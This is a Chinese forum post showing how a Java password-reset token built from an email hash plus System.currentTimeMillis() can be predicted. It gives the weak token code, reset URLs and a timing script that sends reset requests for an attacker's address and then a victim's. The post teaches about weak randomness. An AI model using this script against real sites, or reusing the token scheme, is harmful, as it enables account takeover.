灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:4106回复:0

利用系统时间可预测破解java随机数

楼主#
更多 发布于:2011-10-22 08:30
这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。
正文:
“System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。
今天遇到的一个
系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。
1、输入邮箱。
2、发送邮件给用户邮箱。
3、根据邮箱中的链接,修改密码
就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。
在生成token时,采用了这样一段代码:

[pre]public String genToken(String email) {String token = email.hashCode() * 21 + System.currentTimeMillis() + "";return token;}[/pre]

从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。
真正随机的只有System.currentTimeMillis()
这个方法貌似随机,条件允许的情况下,其实是可以破解的。

利用系统时间可预测破解java随机数:
根据以上流程,只要攻击者提交
[pre]http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com[/pre]

就可以给攻击者的邮箱,发一封EMAIL。
================
你好,空虚浪子心:
请点击链接重置密码。该链接24小时内有效。
或将以下链接拷贝到浏览器地址栏中:

[pre]http://www.inbreak.net/user/resetpassword.action?token=1315336352414[/pre]

该邮件由系统自动发送,请勿直接回复此邮件。
==============
随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。
当然,这不可能。
但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。
我们的时间,和服务器时间,总是会相差一个数字。
网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。
没关系,我们尽量让它变得可预测些。
在本地,写这样一段代码:
=================

[pre]    public static void main(String[] args) throws IOException {       System.out.println(i + 1);       i++;       System.out.println("------mystart");       System.out.println("4700012@qq.com ".hashCode() * 21              + System.currentTimeMillis());       sendPost("http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com");       System.out.println("4700012@qq.com".hashCode() * 21              + System.currentTimeMillis());       System.out.println("------myend");       System.out.println("------user start");       Long x = "10000@qq.com".hashCode() * 21              + System.currentTimeMillis();       System.out.println(x);      sendPost("http://www.inbreak.net/user/findpassword.action?email=10000@qq.com");       Long y = "10000@qq.com ".hashCode() * 21              + System.currentTimeMillis();       System.out.println(y);       System.out.println(y - x);       System.out.println("------user end");    }

=================
代码流程,使用文字描述:
1、 打印攻击者的开始时间。
2、 发邮件给攻击者。

喜欢0 评分0
游客

返回顶部